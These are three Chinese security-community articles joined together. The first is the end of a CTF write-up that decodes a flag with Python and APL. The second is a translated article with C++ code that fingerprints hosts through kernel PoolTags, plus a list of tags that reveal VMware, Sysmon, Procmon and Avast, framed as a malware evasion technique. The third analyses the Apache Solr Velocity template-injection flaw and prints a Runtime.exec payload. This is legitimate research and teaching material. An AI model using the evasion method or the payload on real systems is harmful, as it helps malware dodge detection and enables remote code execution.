#### 4.2 按行读矩阵，每8位作为一个数，传给 移位异或 的逆运算
a = "11011111001011111101110000100001001000000010100100101101110101100010000000100011001010100010001111101110001011000010100111011111001000011110111000100000001011010010110100100011111011100010100100100110110100110010100111101110001001100010000000101101110110100010010100101010110101100010000110111001101111001011001010110101"
for i in range(len(a)/8):
print int(a[i*8:i*8+8],2),
# (223 47 220 33 32 41 45 214 32 35 42 35 238 44 41 223 33 238 32 45 45 35 238 41 38 211 41 238 38 32 45 218 37 42 214 33 185 188 178 181)
#### 4.3 移位异或 的逆运算
因为移位运算前面补1，所以可以利用shift(x)的第一位和f(x)的第一位异或，求x的第一位，即shift(x)的第二位，依次求得x
a = (223,47,220,33,32,41,45,214,32,35,42,35,238,44,41,223,33,238,32,45,45,35,238,41,38,211,41,238,38,32,45,218,37,42,214,33,185,188,178,181
)
def dexhr(r):
r = bin(r)[2:]
r = (8-len(r))*'0'+r
x = ""
shift_x = "1"
for index in range(8):
n = int(shift_x[-1])^int(r[index])
x += str(n)
shift_x += str(n)
return x
for i in a:
x = dexhr(i)
print int(x, 2),
# (106 202 104 193 192 206 201 100 192 194 204 194 75 200 206 106 193 75 192 201 201 194 75 206 196 98 206 75 196 192 201 108 198 204 100 193 46 40 35 38)
#### 4.4 矩阵变换 的逆运算
⌽⊖10⊖(20 16)⍴(8⍴2)⊤(106 202 104 193 192 206 201 100 192 194 204 194 75 200 206 106 193 75 192 201 201 194 75 206 196 98 206 75 196 192 201 108 198 204 100 193 46 40 35 38)
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 1 1 1 1 0 1 0 0
1 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0
1 0 0 0 0 0 0 0 1 0 0 0 0 1 0 1
0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
1 1 1 1 1 1 1 1 0 0 0 0 1 0 1 1
0 1 1 1 0 1 0 1 1 0 1 1 1 1 0 1
0 1 1 0 1 1 1 1 0 1 1 1 1 0 1 0
0 1 0 0 1 0 0 0 0 1 0 0 1 0 0 0
0 1 0 1 1 0 1 1 0 0 0 1 0 0 0 0
0 1 0 0 1 0 0 0 1 1 0 1 0 0 0 1
0 0 0 0 1 1 1 0 1 1 1 0 0 0 1 0
1 1 0 1 1 0 1 0 0 0 1 0 0 0 1 1
1 0 0 1 0 1 1 1 1 0 0 1 0 1 0 1
1 0 0 0 0 0 0 0 0 1 0 0 0 1 0 0
1 0 1 0 0 0 0 0 0 0 1 1 0 0 1 0
1 1 0 0 1 1 0 0 1 1 0 1 1 0 1 0
1 1 1 1 0 1 0 0 0 1 1 0 0 1 1 1
#### 4.5 转成8*40得到flag
2⊥(8 40)⍴⌽⊖10⊖(20 16)⍴(8⍴2)⊤(106 202 104 193 192 206 201 100 192 194 204 194 75 200 206 106 193 75 192 201 201 194 75 206 196 98 206 75 196 192 201 108 198 204 100 193 46 40 35 38)
70 76 65 71 56 98 51 54 99 57 48 50 45 55 100 50 55 45 52 57 57 48 45 56 101 55 49 45 52 51 52 48 98 57 55 48 56 97 53 101
将以上ascii转成字符串即为flag`FLAG8b36c902-7d27-4990-8e71-4340b9708a5e`
# 打完收工 | 社区文章 |
# 利用内核分配内存时的 PoolTags 标记识别主机指纹
##### 译文声明
本文是翻译文章，文章原作者 Kyriakos Economou，文章来源：nettitude.com
原文地址：<https://labs.nettitude.com/blog/using-pooltags-to-fingerprint-hosts/>
译文仅供参考，具体内容表达以及含义原文为准。
通常，恶意软件会识别其执行主机的指纹，以尝试发现主机环境的更多信息, 并采取相应措施。
指纹识别的一种方式是分析专用的、特定的数据，以便确定恶意软件是否在虚拟机中运行，比如蜜罐或恶意代码分析环境，还用于检测其他软件的存在。例如，恶意软件经常会试图找出系统监控工具是否正在运行（procmon，sysmon等）以及安装了哪个AV软件。
在本文中，我们将介绍另一种可能被恶意软件滥用的主机指纹识别方法。
## 主持指纹识别的常用方法
在本节中，我们提供了一个简短列表,
包含一些众所周知的检测虚拟机环境的方法，这些方法也通常用于检测其他安全软件是否存在。请注意，以下列表并未包含所有的指纹识别方式。
* 进程枚举
* 加载的模块枚举
* 文件枚举
* 从Windows注册表中提取的数据（硬盘，BIOS等）
* 加载的驱动程序枚举
* 打开特定命名设备对象的句柄
* 系统资源枚举（CPU内核，RAM，屏幕分辨率等）
## PoolTag方式
如果你对Windows内核驱动程序开发和分析有一些经验，那么你应该熟悉 `ExAllocatePoolWithTag[1]`
函数，该函数用于在内核层分配内存块。这里的关键部分是’Tag’参数，用于为特定的内存分配提供某种标识。
如果出现问题，例如内存损坏，我们可以使用指定的Tag（最多四个字符）将损坏的内存地址与分配该内存块的内核驱动程序中的代码路径相关联。这种方法足以检测内核驱动程序的存在，进而检测到那些加载内核模块以绕过以上列表所述指纹识别方法的软件，因为以上列表中的方法依赖于驱动程序提供的信息,
而驱动提供的信息是可以篡改的。换句话说，从恶意软件作者的角度来看, 使用PoolTag检测真正关键的内容是非常理想的。
例如，安全/监控软件可能会通过在内核级别注册回调过滤器来隐藏其进程和文件。恶意代码分析人员通常会从注册表中删除恶意软件通常搜索的内容来加固虚拟机环境,
降低恶意代码检测到真实执行环境的风险。
但是，安全软件供应商和/或恶意代码分析人员可能不会做的是：修改他们自己的程序和/或系统/虚拟机环境使用的特定内核驱动程序，以不断更改其内核池分配的标记。
## 获取PoolTag信息
可以通过调用 `NtQuerySystemInformation[2]` 函数并将参数 `SysteminformationClass` 设置为
`SystemPoolTagInformation（0x16 ）[3]` 来获取此信息。
上述功能和相关的 `SysteminformationClass`
可取值在MSDN上只有部分记录，但幸运的是，我们找到了一些研究人员编写的文档。特别是，[Alex
Ionescu](https://twitter.com/aionescu) 在他的 `NDK[3]` 项目中记录了许多Windows内部没有文档化的内容。
为了验证此方式的有效性，我们自己编写了获取和解析PoolTag信息的代码，但是如果你想用GUI方式来检验结果，那么 `PoolMonEx[4]`
是一个非常好的工具。
例如，以下是我们工具输出的屏幕截图。源代码在下面。
你可以与PoolMonEx显示中的`Nbtk`标记的内存分配结果进行比较，如下所示。
## QueryPoolTagInfo.cpp
#include "Defs.h"
#include <iostream>
using namespace std;
int main()
{
NTSTATUS NtStatus = STATUS_SUCCESS;
BYTE * InfoBuf = nullptr;
ULONG ReturnLength = 0;
_ZwQuerySystemInformation ZwQuerySystemInformation = (_ZwQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwQuerySystemInformation");
do{
NtStatus = ZwQuerySystemInformation(SystemPoolTagInformation, InfoBuf, ReturnLength, &ReturnLength);
if (NtStatus == STATUS_INFO_LENGTH_MISMATCH)
{
if (InfoBuf != nullptr)
{
delete[] InfoBuf;
InfoBuf = nullptr;
}
InfoBuf = new (nothrow) BYTE[ReturnLength];
if (InfoBuf != nullptr)
memset(InfoBuf, 0, ReturnLength);
else
goto Exit;
}
} while (NtStatus != STATUS_SUCCESS);
PSYSTEM_POOLTAG_INFORMATION pSysPoolTagInfo = (PSYSTEM_POOLTAG_INFORMATION)InfoBuf;
PSYSTEM_POOLTAG psysPoolTag = (PSYSTEM_POOLTAG)&pSysPoolTagInfo->TagInfo->Tag;
ULONG count = pSysPoolTagInfo->Count;
cout << "Count: " << count << endl << endl;
for (ULONG i = 0; i < count; i++)
{
cout << "PoolTag: ";
for (int k = 0; k < sizeof(ULONG); k++)
cout << psysPoolTag->Tag[k];
cout << endl;
if (psysPoolTag->NonPagedAllocs != 0)
{
cout << "NonPaged Allocs: " << psysPoolTag->NonPagedAllocs << endl;
cout << "NonPaged Frees: " << psysPoolTag->NonPagedFrees << endl;
cout << "NonPaged Pool Bytes Used: " << psysPoolTag->NonPagedUsed << endl;
}
else
{
cout << "Paged Allocs: " << psysPoolTag->PagedAllocs << endl;
cout << "Paged Frees: " << psysPoolTag->PagedFrees << endl;
cout << "Paged Pool Bytes Used: " << psysPoolTag->PagedUsed << endl;
}
psysPoolTag++;
cout << endl << "-------------------------------" << endl;
cout << endl << "-------------------------------" << endl << endl;
}
if (InfoBuf != nullptr)
delete[] InfoBuf;
Exit:
cin.get();
return 0;
}
## Defs.h
#include <Windows.h>
#define SystemPoolTagInformation (DWORD)0x16
#define STATUS_SUCCESS 0
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
typedef DWORD SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_POOLTAG
{
union
{
UCHAR Tag[4];
ULONG TagUlong;
};
ULONG PagedAllocs;
ULONG PagedFrees;
SIZE_T PagedUsed;
ULONG NonPagedAllocs;
ULONG NonPagedFrees;
SIZE_T NonPagedUsed;
}SYSTEM_POOLTAG, *PSYSTEM_POOLTAG;
typedef struct _SYSTEM_POOLTAG_INFORMATION
{
ULONG Count;
SYSTEM_POOLTAG TagInfo[ANYSIZE_ARRAY];
}SYSTEM_POOLTAG_INFORMATION, *PSYSTEM_POOLTAG_INFORMATION;
typedef NTSTATUS(WINAPI *_ZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
## 目标PoolTag信息
为了理解获取的 PoolTag 信息，有必要分析我们感兴趣的那些驱动程序。通过搜索对 `ExAllocatePoolWithTag` 的调用，
我们可以记录这些驱动程序使用的特定标记并将它们保存在我们的列表中。
此时，你应该知道任何驱动程序都可以随意使用任何标记，因此，尝试查找一些看起来不太常见但标准Windows内核驱动程序和/或对象没有使用的标记是有意义的。
话虽如此，如果使用时不多多小心谨慎，这种检测特定驱动的方法也可能会产生误报。
## PoolTag示例列表
为了证明以上PoC，我们从特定的驱动程序中收集了一些PoolTag信息。
* VMWare（Guest操作系统）
* vm3dmp.sys（标签：VM3D）
* vmci.sys（标签：CTGC，CTMM，QPMM等……）
* vmhgfs.sys（标签：HGCC，HGAC，HGVS，HGCD等……）
* vmmemctl.sys（标签：VMBL）
* vsock.sys（标签：vskg，vskd，vsks等…）
* Process Explorer
* procexp152.sys（标签：PEOT，PrcX等…）
* Process Monitor
* procmon23.sys（标签：Pmn）
* Sysmon
* sysmondrv.sys（标签：Sys1，Sys2，Sys3，SysA，SysD，SysE等…）
* Avast Internet Security
* aswsnx.sys（标签：’Snx ‘，Aw++）（我们在第一个中使用单引号，因为它以空格字符结尾）
* aswsp.sys（标签：pSsA，AsDr）
## 结论
与其他方法一样，这个方法有其优点和缺点。
这种方法不容易被规避，特别是在64位Windows中，内核补丁保护（Patch Guard）不允许我们修改内核函数，因此直接 Hook
`NtQuerySystemInformation` 等函数的解决方案对于安全和监控工具就不再可用。
此外，此方法不受某些驱动程序的影响, 例如试图阻止来自用户层进程访问特定进程、文件和注册表项的驱动(或向用户层进程隐藏这些信息)。
此外，该方法可能用于进一步识别主机指纹。
通过搜索操作系统中引入的Windows对象的特定标记，我们可以确定其主要版本。
例如，通过比较不同版本的Windbg附带的poolTag信息（pooltag.txt），（在本例中为Windows 8.1 x64和Windows 10
x64 Build 10.0.15063），我们能够能够发现，Windows 10中 `netio.sys` 内核驱动使用的 `PoolTags`，如
`Nrsd`， `Nrtr`， `Nrtw`，在Windows 8.1中都不存在。
我们后来使用两个虚拟机进行了快速验证，确实可以在Windows 10中找到至少有两个上述标签的内存分配，而Windows 8.1虚拟机中并没有这些。
话虽这么说，内核驱动程序开发中使用Tag关联内存块和分配内存块的驱动模块, 依然是一种常见且良好的做法。
另一方面，如前所述，`PoolTags` 可以随意使用，因此我们必须小心选择我们要对付的驱动。
最后要提到的是，`PoolTag` 信息一直在变化，换句话说，内存块一直在被分配和释放，因此我们在选择要搜索的`PoolTag`时应该牢记这一点。
尽管这种方法看起来实验性超过实际使用，但实际上当恶意软件搜索特定的监控和安全软件时，PoolTag信息可能非常可靠。
**参考**
1. <https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-exallocatepoolwithtag>
2. <https://msdn.microsoft.com/en-us/library/windows/desktop/ms724509(v=vs.85).aspx>
3. <https://github.com/arizvisa/ndk>
4. <http://blogs.microsoft.co.il/pavely/2016/09/14/kernel-pool-monitor-the-gui-version/> | 社区文章 |
**作者：天融信阿尔法实验室
公众号：<https://mp.weixin.qq.com/s/h9bhovkDoVdq6HHJcoREvg>**
## 1 漏洞分析环境搭建
* 漏洞分析环境搭建
* 需要工具
* IDEA
* Apache Ant
* Apache Solr8.2.0源码
* Apache Solr8.2.0服务端
* Chrome
* Burp
## 2 Apache solr简介和漏洞复现
首先先简单介绍一下Apache Solr
Apache Solr是一个强大的搜索服务器，它支持像API一样的REST。
Solr由Lucene提供支持，可以实现强大的匹配功能，例如短语，通配符，连接，分组和更多的各种数据类型。 它是高度优化的高流量使用Apache
Zookeeper。
介绍完Apache Solr之后我们就来复现一下这次的 Apache Solr Velocity服务端模板注入漏洞
我们首先从Apache Solr官网上下载Apache Solr
8.2.0的服务端https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.tgz下载完成之后解压
我们通过命令行终端进入bin目录然后输入“./solr start”命令!
Apache Solr就会默认在本地的8983端口启动服务,
我们访问一下地址 http://127.0.0.1:8983/solr/#/
查看左侧的Core Selector的集合名称!
使用burp Repeater模块像服务端发包修改指定集合的配置!
修改配置成功
然后发送事先构造好的payload!
## 3 模板引擎简介
### 3.1 JSP简介
漏洞复现完成，但是分析漏洞我们还需要一些前置知识，比如什么是模板注入漏洞，以及Velocity究竟是什么，
我们都知道，现在web开发讲究的是一个前后端分离的方式，MVC模式就是其经典的代表。如果抛弃前后端分离，仅仅开发一个能用的网站，只需要一个JSP其实就够了，但是这样很明显会导致开发时逻辑及其混乱，以及后期维护起来成本极高的问题，这样的开发完全违背的我们java这么一个面向对象语言优雅的编程思维。
我们在开发一个程序时希望的就是一个模块尽量是独立完成某一个功能而不依赖别的模块的，也就是我们的高内聚，低耦合的思想。
这种思想用到我们的web开发的架构时，就有了我们的MVC模式，即 Mode，
View，Controller。和我们的web三层架构，即表示层，业务逻辑层，和数据接口层。尽量保证每一层都是独立可用的,在这里特别提示一下，web三层架构是java独有的概念，而MVC架构则是通用的。
在这种情况下，每一层都出现了其相对应开源组件。
首先不得不提的两个使用量最高的MVC框架，Struts2，和SpringMVC。
表现层有我们的JSP和Thymeleaf，Velocity，Freemarker等模板引擎
业务层由我们最火热的开源组件Spring
数据层就有我们最常见的Mybaits和Hibernate两个Dao层框架
而这次我们要重点注意的就是位于我们的表现层，也就是我们的Velocity模板引擎。
对于web不太熟悉的同学可能暂时还不能理解什么是模板引擎，或者说模板引擎是做什么用的。但是相信大家都听过JSP，
JSP的全称是Java Server
Package，与普通的静态html页面相比，区别在于我们可以在JSP页面上书写java代码，以实现和用户进行交互，从而达到动态的这么一个效果。
JSP一开始出现的时候是同时兼具前端和后端的作用，也就是说如果只是开发一个勉强能用的java动态网站，jsp其实就足够了。
在JSP出现之前，实现动态页面的效果用的是Servlet的技术，Servlet可以很好的实现接受用户传来的参数并进行处理。但是把数据返回到前端并输出html页面时确异常的麻烦和痛苦。同常需要一行一行的输出html代码，像下面这样
后来JSP出现了，如果说Servlet是java代码中写HTML的话，那Jsp就是HTML中穿插写java代码了，jsp相比于Servlet来说并不是一个新的技术，jsp是Servlet的一个扩展，其本质仍是Servlet,
我们看一个最简单的JSP页面
看起来就是一个普通的HTML页面，为什么我会说jsp的本质是Servlet呢？
当我们将项目编译打成war包部署在Tomcat下时，会放在Tomcat的WebApp目录下，里面有我们的项目后台的java文件编译成的.class文件。同时也有我们的jsp文件。
但是我们的jsp文件是不能直接被解析的，Jsp不像HTML拿来就能直接返返回给客户，因为jsp文件中是包含有java代码的，浏览器又不能解析我们jsp页面上的java代码，所以将jsp编译成浏览器能解析的html页面的工作就交由了我们的Tomcat来做
当我们启动Tomcat时第一次访问我们的这个jsp页面，往往速度都会稍微慢一些，往后在访问时速度就会很快。这是因为，第一访问时，Tomcat会在他的根目录的work/Catalina/localhos目录下生成我们对应项目名称的一个文件夹。
并生成一个名称为org.apache.jsp的一个package，我们去观察一下!
我们可以看到一个java文件和一个.class文件。还记得我刚刚才说过jsp的本质其实就是Servlet么？我们点开这个java文件来一探究竟。
我们从中观察到这这么几个重点
首先这是一个java类，它继承了HttpJspBase类同时实现了两个接口
第二个重点在这里
这是一个静态代码块，静态代码块在类进行加载时就会执行，先于构造代码块和构造方法，是一个java类中最先被执行的代码。
我们根据其代码内容不难看出这静态代码块的作用是用来import Java类的。
接下来是一个名叫_jspService的函数，是不是特别像servlet的doGET和doPost方法？
最后我们在看这里
我们发现我们之前看到的jsp文件中的html内容，在这里被替换成了通过
JspWriter对象一句一句的写出的。
此时是不是理解了我之前说的，Jsp的本质就是servlet。表面上上我们是在一堆HTML标签中插入了一个又一个的java代码，本质上Tmocat在接收到客户端对我们这个jsp的请求后，会将我们的整个jsp文件编译成java文件在编译成.class文件。将HTML一句一句通过JspWriter对象的write方法一行一行的输出。
### 3.2 Velocity模板引擎简介
讲解了JSP的基础知识后不知道大家有没有发现一个问题就是，Jsp虽然说是模板引擎的一种，但是如果只做为一个为前端服务的模板引擎来说，它的功能过于强大了，导致它不光可以书写前端页面，因为JSP可以毫无阻碍地访问底层的
Servlet API 和 Java 编程语言，所以同时也可以无缝书写后端的逻辑代码，在展示数据的同时也可以对数据进行处理。
这样就导致前端和后端完全就纠缠在了一起。完全违背了我们MVC的设计思想，你能想象一个前端页面是用Servlet输出，而后端代码使用Jsp来写的网站该怎么去维护么？
面向对象的优雅思想在这一刻荡然无存。
面向对象的核心思想就是，低耦合，高内聚。每一个模块的功能尽可能单一，尽可能的降低和别的模块和功能之间的耦合度。
所以Thymeleaf，Velocity，Freemarker等优秀模板引擎就一个接一个的出现了。
Velocity为主我们来了解，这个在MVC设计模式中，为View层服务的优秀模板引擎。
刚才通过对Jsp的介绍，我们理解了，一个模板引擎他的主要功能就是负责将后端代码也就是servlet处理完成的数据，提取并按照之前写好的样式展示出来。
Velocity是一个基于java的模板引擎（template engine）。它允许任何人仅仅使用简单的模板语言（template
language）来引用由java代码定义的对象。
当Velocity应用于web开发时，界面设计人员可以和java程序开发人员同步开发一个遵循MVC架构的web站点，也就是说，页面设计人员可以只关注页面的显示效果，而由java程序开发人员关注业务逻辑编码。Velocity将java代码从web页面中分离出来，这样为web站点的长期维护提供了便利，同时也为我们在JSP和PHP之外又提供了一种可选的方案。
前面说了这么多，现在我们在这里简单演示下Velocity这个模板引擎，给大家一个更直观的概念。
首先导入以下的包
然后我们创建一个演示类
这里我们首先实例话了一个VelocityEngine，并设置加载加载classpath目录下的vm文件
然后初始化VelocityEngine，接着就是加载一个模板，这里模板的名字叫“Hellovelocity.vm”
接下来的操作就是我们向模板的上下文中添加我们要传递的参数和值了。
最后的t.merget就会开始循环遍历生成的Velocity AST语法书的各个节点，执行每个节点的渲染方法。
我们看一下我们加载的这个模板的具体实现
和最终的执行结果
我们看到这里可以将我们之前后端代码中传输的值直接取出也可以循环取出。
这样我们就可以提前将静态部分用HTML和JavaScript写好，然后需要动态交互的部分就可以使用Velocity语法来进行编写。
## 4 漏洞和POC构造分析
### 4.1 漏洞分析环境搭建
首先我们下载Apache Slor 8.2.0源码
https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0-src.tgz
下载完成后
我们进入Solr源码根目录
执行命令
ant ivy-bootstrap
然后再执行ant idea命令将源码转化成idea可以导入的模式!
然后我们打开idea，选择open!
最后导入完成后的样子
为了可以调试源码，我们需要再做一些配置
点开左上角的Edit Configuration
然后新增Remote
并按照如下配置
配置完成后我们进入solr的服务端的bin目录，并执行如下命令
然后我们带idea中点击debug按钮，当有如下显示时代表调试环境搭建成功
接下来我们就可以在自己想下断点的地方下断点了。
### 4.2 POC第一部分执行和构造分析
首先我们就来一步一步分析这个漏洞吧，审计一个web项目我们首先先看有没有web.xml这个文件
我们找到了web.xml这个文件，位置在solr/webapp/WEB-INF/目录下
我们打开看一下内容
首先这个web.xml文件一开始就是一个filter过滤器，这个过滤器类路径是
org.apache.solr.servlet.SolrDispatchFilter，拦截的范围是所有请求
所以我们首先就需要去这个SolrDispatchFilter这个类去观察
此时我们有两条分析接下来漏洞走向的方式，我们通过查阅网上的资料得知
我们去目录下查看一下
果然有这两个文件
然后我们看下两个文件的部分内容，先看下solrconfig.xml
可以看到velocity.params.resource.loader.enabled参数默认是flase，也就是说是默认是不开启的。
我们在看一看configoverlay.json文件
看到这里存储着我们上传上来的参数，这里我们将params.resource.loader.enabled制为true
我们可以通过观察该文件何时被修改来判断，是否该跟进代码中。
然后我们观察poc的时候不难发现请求的API为“/config”
我们通过查阅资料发现
Solr中有很多的RequestHandler，默认配置在solrconfig.xml中，同时也有很多没有配置在solrconfig.xml，称为隐式RequestHandler。而“/config”就是其中之一，我们可以看到SolrConfigHandler便是处理提交我们提交poc的API之一
但是为了，讲的更加清晰，我们还是从SolrDispatchFilter.doFilter方法来一步一步的跟踪。
首先SolrDispatchFilter.doFilter方法执行到第 423行的时候，
会调用HttpSolrCall.call方法
我们跟进这个方法
然后代码执行到execute()方法时configoverlay.json文件更新了 所以我们跟进这个函数继续跟进
按照上面的思路，执行到handler.handleRequest()继续跟进
此时就进入到了一开始我们从资料中所看到的“/config”所对应的类SolrConfigHandler
由于此时进入这个函数是为了调用它的handleRequestBody方法，所以我们接着向下执行
这里POST用来修改数据。GET用来查询数据，所以我们执行到
command.handlePOST()方法然后跟进
执行到handleCommands()方法 此时传入的opsCopy就是我们从前端传入的配置信息，而overlay时当前的配置信息
继续跟进，当执行到SolrResourceLoader.persistConfLocally()方法时
configoverlay.json，文件更新了
此时我们看到，关键参数时overlay.toButeArray()
而overlay参数最近的一次赋值动作是在这行代码里进行的，我们先跟进updateNamedPlugin()方法看一看
updateNamedPlugin方法中将op 和overlay参数都传入了进去
当执行到这个if判断时，判断为真，返回overlay，所以关键在于
Verifyclass()这个函数。
这里op仍然为我们 post传入的配置参数 clz的值为“solr.VelocityResponseWriter”
继续跟进
跟进函数之后我们看到这样一行代码
根据执行逻辑首先执行getCore方法，返回一个SolrCore对象
然后执行op.getDataMap()方法，返回一个Map对像
然后new 一个PluginInfo对象，构造方法里的主要操作就是向一个 NameList类型的对象中存值，存入的是我们POST传入的配置参数
createInitInstance()方法
泛型变量o是根据我们传入的参数PulginInfo对象的className属性“solr.VelocityResponseWriter”然后通过createInstance()方法反射获得的VelocityResponseWriter对象
因为VelocityResponseWriter对象实现了NamedListInitializedPlugin接口
所以执行
跟进
然后我们进入了VelocityResponseWriter对象的init方法，在这里有这么几行代码
可以看到在这里我们将VelocityResponseWriter对像的两个重要属性
paramsResourceLoaderEnabled，
solrResourceLoaderEnabled
设置为了true，也就是允许我们上传自定义模板了
紧接着init方法执行结束后，就会将VelocityResponseWriter对象按原路返回到SolrConfigHandler并赋值给overly属性
紧接着执行到第504行代码时configoverlay.json文件更新了，我们跟进这个方法
在调用SolrResourceLoader.persistConfLocally()方法时，可以看到我们将
overly作为参数传递了进去
此时观察代码我们就明白了，真正将我们post传递的配置参数写入文件的操作是在这一步进行的。至此 poc的第一部分追踪完毕。
### 4.3 POC第二部分执行和构造分析
接下来是poc执行的第二阶段
老规矩先从SolrDispatchFilter类看起
执行到HttpSolrCall.call步入
紧接着执行到HttpSolrCall.writeResponse方法
观察此刻传入的三个参数，solrRsp参数是一个 SolrQueryResponse对象，我们GET传入的playload存储在该对象的value属性中
这个responseWriter对象相当重要，这里我们看到了两个参数
paramsResourceLoaderEnabled和solrResourceLoaderEnabled
这是我们poc第一步中修改的两个配置属性，只有这两个属性为true我们才可以上传自定义模板成功
responseWriter参数指向的是一个VelocityResponseWriter对象，responseWriter最近一次被赋值是在，下面这行代码中
本着刨根问底，以及锻炼我们分析代码执行逻辑能力的目的，我们深入了解一下
我们跟踪进HttpSolrCall.getResponseWriter方法
可以看到，这里将我们GET穿入的key的值为wt的属性里面的值velocity取出并作为参数传给了core.getQueryResponseWriter方法，core参数指向的是一个SolrCore对象
跟入SolrCore.getQueryResponseWriter方法
跟入responseWriters.get方法
此时我们来到了一个PluginBag对象的get方法
在执行完T result = get(name)方法后 result的结果中是一个VelocityResponseWriter对象且
paramsResourceLoaderEnabled和solrResourceLoaderEnabled属性都已被置为true，就是说给这两个属性赋值的操作就在get(name)这个方法里。继续跟进
还是继续跟进result的无参get方法
到这里，就出现问题了
这里会判断一个名字叫lazyInst的属性是否为空，如果不为空，则返回这个属性
我们来看看此时这个lazyInst属性是什么，
可以看到就是我们最终返回的VelocityResponseWriter对象。
那么问题就来了，我们这执行过程中并没有看到lazyInst对象被赋值，那么lazyInst属性指向的VelocityResponseWriter对象是哪来的呢？
我们会退一步，观察这行代码
PluginHolder result = registry.get(name);
registry是一个hashmap类型，有final标识符
观察此时registry里面的内容
又因为registry.get(name)传入的name参数的值为velocity
我们打开这里的velocity
赫然看到那个lazyInst就在里面，我们知道标示的final的属性就是常量了，在对像生成被赋值了一次以后就不会再更改了。我通过多次发送poc请求测试发现每次到这个断点时当前的对象ID都是相同的，所以每次执行调用的都是同一个对像。
我们重新发送poc的第一部分。Poc第一部分请求完成后再在此处下断点
此时lazyInst属性就为空了
我们继续执行
此时由于lazyInst为空了，所以不会直接返回，我们跟进createInst方法，
看到在createInst方法的最后lazyInst属性被赋值，我们向上寻找这个localInst变量
在下面这行代码中localInst第一次被赋值
此时localInst中的内容为
也就是说此时程序只是从solrconfig.xml中读取了默认的配置，还并没有读取
configoverlay.json中我们更新的配置。
所以这行就不跟进了。
我们清楚的看到参数被更新了，那我们就跟入这行代码
跟入((NamedListInitializedPlugin) inst).init(info.initArgs)
然后就又看到了我们执行poc第一部分时所碰到的代码了，至此获取
configoverlay.json中我们更新的配置信息的执行逻辑我们已经分析完毕
接下来继续原路返回到我们调用HttpSolrCall.getResponseWriter的位置
继续跟进writeResponse(solrRsp, responseWriter, reqMethod);
此时solrRsp中存放的是我们Get传入的poc，responseWriter中存放的是我们configoverlay.json文件中存放的更新配置。
跟入QueryResponseWriterUtil.writeQueryResponse方法
跟入responseWriter.write方法
我们执行createEngine()方法时生成了一个VelocityEngine对象
我们进入createEngine()方法后可以看到方法内的第一行代码就是new一个VelocityEngine对象
关键点在以下这几行代码，这里对
paramsResourceLoaderEnabled
solrResourceLoaderEnabled两个参数进行了判断，当
paramsResourceLoaderEnabled参数为true时执行
loaders.add("params");
engine.setProperty("params.resource.loader.instance", new
SolrParamResourceLoader(request));
根据网上查到的资料我们可以看到params.resource.loader.instance这个属性的含义
也就是说当开启这个属性的时候，我们就可以通过Solr来上传我们自定义的模板了。
最后返回VelocityEngine对象
返回到responseWriter.write方法，继续执行到
Template template = getTemplate(engine, request);
这里我们生成了一个template
跟进去后我们看到
从我们Get传入的参数中获取V.template作为模板的名字
同时将我们传入的Poc也就时Velocity模板语句解析成AST抽象语法树
这里就要对velocity的AST抽象语法树做一下简单的介绍了
在计算机科学中，抽象语法树（abstract syntax tree 或者缩写为 AST），或者语法树（syntax
tree），是源代码的抽象语法结构的树状表现形式，这里特指编程语言的源代码。树上的每个节点都表示源代码中的一种结构。
之所以说语法是「抽象」的，是因为这里的语法并不会表示出真实语法中出现的每个细节。
Velocity是通过JavaCC和JJTree生成抽象语法树的,
javaCC
是一个能生成语法和词法分析器的生成程序。语法和词法分析器是字符串处理软件的重要组件，[javacc](http://www.google.com/url?sa=t&ct=res&cd=1&url=https%3A%2F%2Fjavacc.dev.java.net%2F&ei=9DVYRYiNNqOEpgKyrbivCQ&usg=__mFYMOj71sh29a1K1V8lPTOwCBok=&sig2=hEpGu_jpqYUmHxmOExyoMg)是类似lex/yacc的parser生成器，可以把一段文本转换为抽象语法树（AST）。
JJTree是javaCC的预处理器，用于在JavaCC生成的源代码中的各个地方插入表示语义动作的分析树
用网上的一张图来介绍一下AST的一些节点
Velocity的语法相对简单，所以它的语法节点并不是很多，总共有50几个，它们可以划分为如下几种类型。
1. 块节点类型：主要用来表示一个代码块，它们本身并不表示某个具体的语法节点，也不会有什么渲染规则。这种类型的节点主要由ASTReference、ASTBlock和ASTExpression等组成。
2. 扩展节点类型：这些节点可以被扩展，可以自己去实现，如我们上面提到的#foreach，它就是一个扩展类型的ASTDirective节点，我们同样可以自己再扩展一个ASTDirective类型的节点。
3. 中间节点类型：位于树的中间，它的下面有子节点，它的渲染依赖于子节点才能完成，如ASTIfStatement和ASTSetDirective等。
4. 叶子节点：它位于树的叶子上，没有子节点，这种类型的节点要么直接输出值，要么写到writer中，如ASTText和ASTTrue等。
我们再来看一下poc中的Velocity语句，和children中的节点信息
#set($x='')
#set(x.class.forName('java.lang.Runtime'))
#set(rt.getRuntime().exec('open /Applications/Calculator.app/'))
#set最终被解析为Velocity AST语法树中的ASTSetDirective类，根据上面的Velocity
AST语法树的图我们看到ASTSetDirective节点有两个字节点
分别是ASTReference,和ASTExpression,
我们看到下标为0的ASTSetDirective类中有两个属性。right和left
分别代表了$x=''中“=”号的两边，左边的ASTReference有两种可能，
一就是用来进行赋值操作的变量名
例：#set( $iAmVariable = 'good!')将字面量“good”赋值给名字为iAmVariable的变量
第二种也是赋值操作，但是赋值操作的目标是一个对象的某个属性
例：#set($Persion.name = 'kkk')
这种赋值方式的本质其实是调用Persion的setName方法。
区分这两种赋值方式我们可以动过观察此时的ASTReference这个节点是否有子节点来判断
譬如第一种#set( $iAmVariable = 'good!') 我们观察一下
可以看到最后的children属性为空
再观察第二种#set($Persion.name = 'kkk')
可以看到children属性中，是有子节点的。
